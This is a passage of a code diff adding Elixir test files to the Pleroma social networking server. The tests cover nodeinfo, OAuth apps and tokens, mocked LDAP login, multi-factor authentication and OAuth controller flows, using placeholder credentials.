b/test/pleroma/web/node_info_test.exs @@ -0,0 +1,188 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.NodeInfoTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Config + + setup do: clear_config([:mrf_simple]) + setup do: clear_config(:instance) + + test "GET /.well-known/nodeinfo", %{conn: conn} do + links = + conn + |> get("/.well-known/nodeinfo") + |> json_response(200) + |> Map.fetch!("links") + + Enum.each(links, fn link -> + href = Map.fetch!(link, "href") + + conn + |> get(href) + |> json_response(200) + end) + end + + test "nodeinfo shows staff accounts", %{conn: conn} do + moderator = insert(:user, local: true, is_moderator: true) + admin = insert(:user, local: true, is_admin: true) + + conn = + conn + |> get("/nodeinfo/2.1.json") + + assert result = json_response(conn, 200) + + assert moderator.ap_id in result["metadata"]["staffAccounts"] + assert admin.ap_id in result["metadata"]["staffAccounts"] + end + + test "nodeinfo shows restricted nicknames", %{conn: conn} do + conn = + conn + |> get("/nodeinfo/2.1.json") + + assert result = json_response(conn, 200) + + assert Config.get([Pleroma.User, :restricted_nicknames]) == + result["metadata"]["restrictedNicknames"] + end + + test "returns software.repository field in nodeinfo 2.1", %{conn: conn} do + conn + |> get("/.well-known/nodeinfo") + |> json_response(200) + + conn = + conn + |> get("/nodeinfo/2.1.json") + + assert result = json_response(conn, 200) + assert Pleroma.Application.repository() == result["software"]["repository"] + end + + test "returns fieldsLimits field", %{conn: conn} do + clear_config([:instance, :max_account_fields], 10) + clear_config([:instance, :max_remote_account_fields], 15) + clear_config([:instance, :account_field_name_length], 255) + clear_config([:instance, :account_field_value_length], 2048) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["fieldsLimits"]["maxFields"] == 10 + assert response["metadata"]["fieldsLimits"]["maxRemoteFields"] == 15 + assert response["metadata"]["fieldsLimits"]["nameLength"] == 255 + assert response["metadata"]["fieldsLimits"]["valueLength"] == 2048 + end + + test "it returns the safe_dm_mentions feature if enabled", %{conn: conn} do + clear_config([:instance, :safe_dm_mentions], true) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert "safe_dm_mentions" in response["metadata"]["features"] + + Config.put([:instance, :safe_dm_mentions], false) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + refute "safe_dm_mentions" in response["metadata"]["features"] + end + + describe "`metadata/federation/enabled`" do + setup do: clear_config([:instance, :federating]) + + test "it shows if federation is enabled/disabled", %{conn: conn} do + Config.put([:instance, :federating], true) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["federation"]["enabled"] == true + + Config.put([:instance, :federating], false) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["federation"]["enabled"] == false + end + end + + test "it shows default features flags", %{conn: conn} do + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + default_features = [ + "pleroma_api", + "mastodon_api", + "mastodon_api_streaming", + "polls", + "pleroma_explicit_addressing", + "shareable_emoji_packs", + "multifetch", + "pleroma_emoji_reactions", + "pleroma:api/v1/notifications:include_types_filter", + "pleroma_chat_messages" + ] + + assert MapSet.subset?( + MapSet.new(default_features), + MapSet.new(response["metadata"]["features"]) + ) + end + + test "it shows MRF transparency data if enabled", %{conn: conn} do + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.SimplePolicy]) + clear_config([:mrf, :transparency], true) + + simple_config = %{"reject" => ["example.com"]} + clear_config(:mrf_simple, simple_config) + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["federation"]["mrf_simple"] == simple_config + end + + test "it performs exclusions from MRF transparency data if configured", %{conn: conn} do + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.SimplePolicy]) + clear_config([:mrf, :transparency], true) + clear_config([:mrf, :transparency_exclusions], ["other.site"]) + + simple_config = %{"reject" => ["example.com", "other.site"]} + clear_config(:mrf_simple, simple_config) + + expected_config = %{"reject" => ["example.com"]} + + response = + conn + |> get("/nodeinfo/2.1.json") + |> json_response(:ok) + + assert response["metadata"]["federation"]["mrf_simple"] == expected_config + assert response["metadata"]["federation"]["exclusions"] == true + end +end diff --git a/test/pleroma/web/o_auth/app_test.exs b/test/pleroma/web/o_auth/app_test.exs new file mode 100644 index 000000000..993a490e0 --- /dev/null +++ b/test/pleroma/web/o_auth/app_test.exs @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.AppTest do + use Pleroma.DataCase + + alias Pleroma.Web.OAuth.App + import Pleroma.Factory + + describe "get_or_make/2" do + test "gets exist app" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) + {:ok, %App{} = exist_app} = App.get_or_make(attrs, []) + assert exist_app == app + end + + test "make app" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + {:ok, %App{} = app} = App.get_or_make(attrs, ["write"]) + assert app.scopes == ["write"] + end + + test "gets exist app and updates scopes" do + attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} + app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) + {:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"]) + assert exist_app.id == app.id + assert exist_app.scopes == ["read", "write", "follow", "push"] + end + + test "has unique client_id" do + insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop") + + error = + catch_error(insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop")) + + assert %Ecto.ConstraintError{} = error + assert error.constraint == "apps_client_id_index" + assert error.type == :unique + end + end +end diff --git a/test/pleroma/web/o_auth/authorization_test.exs b/test/pleroma/web/o_auth/authorization_test.exs new file mode 100644 index 000000000..d74b26cf8 --- /dev/null +++ b/test/pleroma/web/o_auth/authorization_test.exs @@ -0,0 +1,77 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.AuthorizationTest do + use Pleroma.DataCase + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Authorization + import Pleroma.Factory + + setup do + {:ok, app} = + Repo.insert( + App.register_changeset(%App{}, %{ + client_name: "client", + scopes: ["read", "write"], + redirect_uris: "url" + }) + ) + + %{app: app} + end + + test "create an authorization token for a valid app", %{app: app} do + user = insert(:user) + + {:ok, auth1} = Authorization.create_authorization(app, user) + assert auth1.scopes == app.scopes + + {:ok, auth2} = Authorization.create_authorization(app, user, ["read"]) + assert auth2.scopes == ["read"] + + for auth <- [auth1, auth2] do + assert auth.user_id == user.id + assert auth.app_id == app.id + assert String.length(auth.token) > 10 + assert auth.used == false + end + end + + test "use up a token", %{app: app} do + user = insert(:user) + + {:ok, auth} = Authorization.create_authorization(app, user) + + {:ok, auth} = Authorization.use_token(auth) + + assert auth.used == true + + assert {:error, "already used"} == Authorization.use_token(auth) + + expired_auth = %Authorization{ + user_id: user.id, + app_id: app.id, + valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -10), + token: "mytoken", + used: false + } + + {:ok, expired_auth} = Repo.insert(expired_auth) + + assert {:error, "token expired"} == Authorization.use_token(expired_auth) + end + + test "delete authorizations", %{app: app} do + user = insert(:user) + + {:ok, auth} = Authorization.create_authorization(app, user) + {:ok, auth} = Authorization.use_token(auth) + + Authorization.delete_user_authorizations(user) + + {_, invalid} = Authorization.use_token(auth) + + assert auth != invalid + end +end diff --git a/test/pleroma/web/o_auth/ldap_authorization_test.exs b/test/pleroma/web/o_auth/ldap_authorization_test.exs new file mode 100644 index 000000000..63b1c0eb8 --- /dev/null +++ b/test/pleroma/web/o_auth/ldap_authorization_test.exs @@ -0,0 +1,135 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.LDAPAuthorizationTest do + use Pleroma.Web.ConnCase + alias Pleroma.Repo + alias Pleroma.Web.OAuth.Token + import Pleroma.Factory + import Mock + + @skip if !Code.ensure_loaded?(:eldap), do: :skip + + setup_all do: clear_config([:ldap, :enabled], true) + + setup_all do: clear_config(Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.LDAPAuthenticator) + + @tag @skip + test "authorizes the existing user using LDAP credentials" do + password = "testpassword" + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) + app = insert(:oauth_app, scopes: ["read", "write"]) + + host = Pleroma.Config.get([:ldap, :host]) |> to_charlist + port = Pleroma.Config.get([:ldap, :port]) + + with_mocks [ + {:eldap, [], + [ + open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, + simple_bind: fn _connection, _dn, ^password -> :ok end, + close: fn _connection -> + send(self(), :close_connection) + :ok + end + ]} + ] do + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token} = json_response(conn, 200) + + token = Repo.get_by(Token, token: token) + + assert token.user_id == user.id + assert_received :close_connection + end + end + + @tag @skip + test "creates a new user after successful LDAP authorization" do + password = "testpassword" + user = build(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + host = Pleroma.Config.get([:ldap, :host]) |> to_charlist + port = Pleroma.Config.get([:ldap, :port]) + + with_mocks [ + {:eldap, [], + [ + open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, + simple_bind: fn _connection, _dn, ^password -> :ok end, + equalityMatch: fn _type, _value -> :ok end, + wholeSubtree: fn -> :ok end, + search: fn _connection, _options -> + {:ok, {:eldap_search_result, [{:eldap_entry, '', []}], []}} + end, + close: fn _connection -> + send(self(), :close_connection) + :ok + end + ]} + ] do + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token} = json_response(conn, 200) + + token = Repo.get_by(Token, token: token) |> Repo.preload(:user) + + assert token.user.nickname == user.nickname + assert_received :close_connection + end + end + + @tag @skip + test "disallow authorization for wrong LDAP credentials" do + password = "testpassword" + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) + app = insert(:oauth_app, scopes: ["read", "write"]) + + host = Pleroma.Config.get([:ldap, :host]) |> to_charlist + port = Pleroma.Config.get([:ldap, :port]) + + with_mocks [ + {:eldap, [], + [ + open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, + simple_bind: fn _connection, _dn, ^password -> {:error, :invalidCredentials} end, + close: fn _connection -> + send(self(), :close_connection) + :ok + end + ]} + ] do + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"error" => "Invalid credentials"} = json_response(conn, 400) + assert_received :close_connection + end + end +end diff --git a/test/pleroma/web/o_auth/mfa_controller_test.exs b/test/pleroma/web/o_auth/mfa_controller_test.exs new file mode 100644 index 000000000..3c341facd --- /dev/null +++ b/test/pleroma/web/o_auth/mfa_controller_test.exs @@ -0,0 +1,306 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.MFAControllerTest do + use Pleroma.Web.ConnCase + import Pleroma.Factory + + alias Pleroma.MFA + alias Pleroma.MFA.BackupCodes + alias Pleroma.MFA.TOTP + alias Pleroma.Repo + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.OAuthController + + setup %{conn: conn} do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + backup_codes: [Pbkdf2.hash_pwd_salt("test-code")], + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + app = insert(:oauth_app) + {:ok, conn: conn, user: user, app: app} + end + + describe "show" do + setup %{conn: conn, user: user, app: app} do + mfa_token = + insert(:mfa_token, + user: user, + authorization: build(:oauth_authorization, app: app, scopes: ["write"]) + ) + + {:ok, conn: conn, mfa_token: mfa_token} + end + + test "GET /oauth/mfa renders mfa forms", %{conn: conn, mfa_token: mfa_token} do + conn = + get( + conn, + "/oauth/mfa", + %{ + "mfa_token" => mfa_token.token, + "state" => "a_state", + "redirect_uri" => "http://localhost:8080/callback" + } + ) + + assert response = html_response(conn, 200) + assert response =~ "Two-factor authentication" + assert response =~ mfa_token.token + assert response =~ "http://localhost:8080/callback" + end + + test "GET /oauth/mfa renders mfa recovery forms", %{conn: conn, mfa_token: mfa_token} do + conn = + get( + conn, + "/oauth/mfa", + %{ + "mfa_token" => mfa_token.token, + "state" => "a_state", + "redirect_uri" => "http://localhost:8080/callback", + "challenge_type" => "recovery" + } + ) + + assert response = html_response(conn, 200) + assert response =~ "Two-factor recovery" + assert response =~ mfa_token.token + assert response =~ "http://localhost:8080/callback" + end + end + + describe "verify" do + setup %{conn: conn, user: user, app: app} do + mfa_token = + insert(:mfa_token, + user: user, + authorization: build(:oauth_authorization, app: app, scopes: ["write"]) + ) + + {:ok, conn: conn, user: user, mfa_token: mfa_token, app: app} + end + + test "POST /oauth/mfa/verify, verify totp code", %{ + conn: conn, + user: user, + mfa_token: mfa_token, + app: app + } do + otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) + + conn = + conn + |> post("/oauth/mfa/verify", %{ + "mfa" => %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "totp", + "code" => otp_token, + "state" => "a_state", + "redirect_uri" => OAuthController.default_redirect_uri(app) + } + }) + + target = redirected_to(conn) + target_url = %URI{URI.parse(target) | query: nil} |> URI.to_string() + query = URI.parse(target).query |> URI.query_decoder() |> Map.new() + assert %{"state" => "a_state", "code" => code} = query + assert target_url == OAuthController.default_redirect_uri(app) + auth = Repo.get_by(Authorization, token: code) + assert auth.scopes == ["write"] + end + + test "POST /oauth/mfa/verify, verify recovery code", %{ + conn: conn, + mfa_token: mfa_token, + app: app + } do + conn = + conn + |> post("/oauth/mfa/verify", %{ + "mfa" => %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "recovery", + "code" => "test-code", + "state" => "a_state", + "redirect_uri" => OAuthController.default_redirect_uri(app) + } + }) + + target = redirected_to(conn) + target_url = %URI{URI.parse(target) | query: nil} |> URI.to_string() + query = URI.parse(target).query |> URI.query_decoder() |> Map.new() + assert %{"state" => "a_state", "code" => code} = query + assert target_url == OAuthController.default_redirect_uri(app) + auth = Repo.get_by(Authorization, token: code) + assert auth.scopes == ["write"] + end + end + + describe "challenge/totp" do + test "returns access token with valid code", %{conn: conn, user: user, app: app} do + otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) + + mfa_token = + insert(:mfa_token, + user: user, + authorization: build(:oauth_authorization, app: app, scopes: ["write"]) + ) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "totp", + "code" => otp_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(:ok) + + ap_id = user.ap_id + + assert match?( + %{ + "access_token" => _, + "expires_in" => 600, + "me" => ^ap_id, + "refresh_token" => _, + "scope" => "write", + "token_type" => "Bearer" + }, + response + ) + end + + test "returns errors when mfa token invalid", %{conn: conn, user: user, app: app} do + otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => "XXX", + "challenge_type" => "totp", + "code" => otp_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert response == %{"error" => "Invalid code"} + end + + test "returns error when otp code is invalid", %{conn: conn, user: user, app: app} do + mfa_token = insert(:mfa_token, user: user) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "totp", + "code" => "XXX", + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert response == %{"error" => "Invalid code"} + end + + test "returns error when client credentails is wrong ", %{conn: conn, user: user} do + otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) + mfa_token = insert(:mfa_token, user: user) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "totp", + "code" => otp_token, + "client_id" => "xxx", + "client_secret" => "xxx" + }) + |> json_response(400) + + assert response == %{"error" => "Invalid code"} + end + end + + describe "challenge/recovery" do + setup %{conn: conn} do + app = insert(:oauth_app) + {:ok, conn: conn, app: app} + end + + test "returns access token with valid code", %{conn: conn, app: app} do + otp_secret = TOTP.generate_secret() + + [code | _] = backup_codes = BackupCodes.generate() + + hashed_codes = + backup_codes + |> Enum.map(&Pbkdf2.hash_pwd_salt(&1)) + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + backup_codes: hashed_codes, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + mfa_token = + insert(:mfa_token, + user: user, + authorization: build(:oauth_authorization, app: app, scopes: ["write"]) + ) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "recovery", + "code" => code, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(:ok) + + ap_id = user.ap_id + + assert match?( + %{ + "access_token" => _, + "expires_in" => 600, + "me" => ^ap_id, + "refresh_token" => _, + "scope" => "write", + "token_type" => "Bearer" + }, + response + ) + + error_response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "recovery", + "code" => code, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert error_response == %{"error" => "Invalid code"} + end + end +end diff --git a/test/pleroma/web/o_auth/o_auth_controller_test.exs b/test/pleroma/web/o_auth/o_auth_controller_test.exs new file mode 100644 index 000000000..1200126b8 --- /dev/null +++ b/test/pleroma/web/o_auth/o_auth_controller_test.exs @@ -0,0 +1,1232 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.OAuthControllerTest do + use Pleroma.Web.ConnCase + import Pleroma.Factory + + alias Pleroma.MFA + alias Pleroma.MFA.TOTP + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.OAuthController + alias Pleroma.Web.OAuth.Token + + @session_opts [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + setup do + clear_config([:instance, :account_activation_required]) + clear_config([:instance, :account_approval_required]) + end + + describe "in OAuth consumer mode, " do + setup do + [ + app: insert(:oauth_app), + conn: + build_conn() + |> Plug.Session.call(Plug.Session.init(@session_opts)) + |> fetch_session() + ] + end + + setup do: clear_config([:auth, :oauth_consumer_strategies], ~w(twitter facebook)) + + test "GET /oauth/authorize renders auth forms, including OAuth consumer form", %{ + app: app, + conn: conn + } do + conn = + get( + conn, + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read" + } + ) + + assert response = html_response(conn, 200) + assert response =~ "Sign in with Twitter" + assert response =~ o_auth_path(conn, :prepare_request) + end + + test "GET /oauth/prepare_request encodes parameters as `state` and redirects", %{ + app: app, + conn: conn + } do + conn = + get( + conn, + "/oauth/prepare_request", + %{ + "provider" => "twitter", + "authorization" => %{ + "scope" => "read follow", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state" + } + } + ) + + assert response = html_response(conn, 302) + + redirect_query = URI.parse(redirected_to(conn)).query + assert %{"state" => state_param} = URI.decode_query(redirect_query) + assert {:ok, state_components} = Poison.decode(state_param) + + expected_client_id = app.client_id + expected_redirect_uri = app.redirect_uris + + assert %{ + "scope" => "read follow", + "client_id" => ^expected_client_id, + "redirect_uri" => ^expected_redirect_uri, + "state" => "a_state" + } = state_components + end + + test "with user-bound registration, GET /oauth//callback redirects to `redirect_uri` with `code`", + %{app: app, conn: conn} do + registration = insert(:registration) + redirect_uri = OAuthController.default_redirect_uri(app) + + state_params = %{ + "scope" => Enum.join(app.scopes, " "), + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "" + } + + conn = + conn + |> assign(:ueberauth_auth, %{provider: registration.provider, uid: registration.uid}) + |> get( + "/oauth/twitter/callback", + %{ + "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", + "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", + "provider" => "twitter", + "state" => Poison.encode!(state_params) + } + ) + + assert response = html_response(conn, 302) + assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ + end + + test "with user-unbound registration, GET /oauth//callback renders registration_details page", + %{app: app, conn: conn} do + user = insert(:user) + + state_params = %{ + "scope" => "read write", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state" + } + + conn = + conn + |> assign(:ueberauth_auth, %{ + provider: "twitter", + uid: "171799000", + info: %{nickname: user.nickname, email: user.email, name: user.name, description: nil} + }) + |> get( + "/oauth/twitter/callback", + %{ + "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", + "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", + "provider" => "twitter", + "state" => Poison.encode!(state_params) + } + ) + + assert response = html_response(conn, 200) + assert response =~ ~r/name="op" type="submit" value="register"/ + assert response =~ ~r/name="op" type="submit" value="connect"/ + assert response =~ user.email + assert response =~ user.nickname + end + + test "on authentication error, GET /oauth//callback redirects to `redirect_uri`", %{ + app: app, + conn: conn + } do + state_params = %{ + "scope" => Enum.join(app.scopes, " "), + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "" + } + + conn = + conn + |> assign(:ueberauth_failure, %{errors: [%{message: "(error description)"}]}) + |> get( + "/oauth/twitter/callback", + %{ + "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", + "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", + "provider" => "twitter", + "state" => Poison.encode!(state_params) + } + ) + + assert response = html_response(conn, 302) + assert redirected_to(conn) == app.redirect_uris + assert get_flash(conn, :error) == "Failed to authenticate: (error description)." + end + + test "GET /oauth/registration_details renders registration details form", %{ + app: app, + conn: conn + } do + conn = + get( + conn, + "/oauth/registration_details", + %{ + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state", + "nickname" => nil, + "email" => "john@doe.com" + } + } + ) + + assert response = html_response(conn, 200) + assert response =~ ~r/name="op" type="submit" value="register"/ + assert response =~ ~r/name="op" type="submit" value="connect"/ + end + + test "with valid params, POST /oauth/register?op=register redirects to `redirect_uri` with `code`", + %{ + app: app, + conn: conn + } do + registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) + redirect_uri = OAuthController.default_redirect_uri(app) + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post( + "/oauth/register", + %{ + "op" => "register", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "a_state", + "nickname" => "availablenick", + "email" => "available@email.com" + } + } + ) + + assert response = html_response(conn, 302) + assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ + end + + test "with unlisted `redirect_uri`, POST /oauth/register?op=register results in HTTP 401", + %{ + app: app, + conn: conn + } do + registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) + unlisted_redirect_uri = "http://cross-site-request.com" + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post( + "/oauth/register", + %{ + "op" => "register", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => unlisted_redirect_uri, + "state" => "a_state", + "nickname" => "availablenick", + "email" => "available@email.com" + } + } + ) + + assert response = html_response(conn, 401) + end + + test "with invalid params, POST /oauth/register?op=register renders registration_details page", + %{ + app: app, + conn: conn + } do + another_user = insert(:user) + registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) + + params = %{ + "op" => "register", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state", + "nickname" => "availablenickname", + "email" => "available@email.com" + } + } + + for {bad_param, bad_param_value} <- + [{"nickname", another_user.nickname}, {"email", another_user.email}] do + bad_registration_attrs = %{ + "authorization" => Map.put(params["authorization"], bad_param, bad_param_value) + } + + bad_params = Map.merge(params, bad_registration_attrs) + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post("/oauth/register", bad_params) + + assert html_response(conn, 403) =~ ~r/name="op" type="submit" value="register"/ + assert get_flash(conn, :error) == "Error: #{bad_param} has already been taken." + end + end + + test "with valid params, POST /oauth/register?op=connect redirects to `redirect_uri` with `code`", + %{ + app: app, + conn: conn + } do + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("testpassword")) + registration = insert(:registration, user: nil) + redirect_uri = OAuthController.default_redirect_uri(app) + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post( + "/oauth/register", + %{ + "op" => "connect", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "a_state", + "name" => user.nickname, + "password" => "testpassword" + } + } + ) + + assert response = html_response(conn, 302) + assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ + end + + test "with unlisted `redirect_uri`, POST /oauth/register?op=connect results in HTTP 401`", + %{ + app: app, + conn: conn + } do + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("testpassword")) + registration = insert(:registration, user: nil) + unlisted_redirect_uri = "http://cross-site-request.com" + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post( + "/oauth/register", + %{ + "op" => "connect", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => unlisted_redirect_uri, + "state" => "a_state", + "name" => user.nickname, + "password" => "testpassword" + } + } + ) + + assert response = html_response(conn, 401) + end + + test "with invalid params, POST /oauth/register?op=connect renders registration_details page", + %{ + app: app, + conn: conn + } do + user = insert(:user) + registration = insert(:registration, user: nil) + + params = %{ + "op" => "connect", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state", + "name" => user.nickname, + "password" => "wrong password" + } + } + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post("/oauth/register", params) + + assert html_response(conn, 401) =~ ~r/name="op" type="submit" value="connect"/ + assert get_flash(conn, :error) == "Invalid Username/Password" + end + end + + describe "GET /oauth/authorize" do + setup do + [ + app: insert(:oauth_app, redirect_uris: "https://redirect.url"), + conn: + build_conn() + |> Plug.Session.call(Plug.Session.init(@session_opts)) + |> fetch_session() + ] + end + + test "renders authentication page", %{app: app, conn: conn} do + conn = + get( + conn, + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read" + } + ) + + assert html_response(conn, 200) =~ ~s(type="submit") + end + + test "properly handles internal calls with `authorization`-wrapped params", %{ + app: app, + conn: conn + } do + conn = + get( + conn, + "/oauth/authorize", + %{ + "authorization" => %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read" + } + } + ) + + assert html_response(conn, 200) =~ ~s(type="submit") + end + + test "renders authentication page if user is already authenticated but `force_login` is tru-ish", + %{app: app, conn: conn} do + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read", + "force_login" => "true" + } + ) + + assert html_response(conn, 200) =~ ~s(type="submit") + end + + test "renders authentication page if user is already authenticated but user request with another client", + %{ + app: app, + conn: conn + } do + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => "another_client_id", + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read" + } + ) + + assert html_response(conn, 200) =~ ~s(type="submit") + end + + test "with existing authentication and non-OOB `redirect_uri`, redirects to app with `token` and `state` params", + %{ + app: app, + conn: conn + } do + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "specific_client_state", + "scope" => "read" + } + ) + + assert URI.decode(redirected_to(conn)) == + "https://redirect.url?access_token=#{token.token}&state=specific_client_state" + end + + test "with existing authentication and unlisted non-OOB `redirect_uri`, redirects without credentials", + %{ + app: app, + conn: conn + } do + unlisted_redirect_uri = "http://cross-site-request.com" + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" 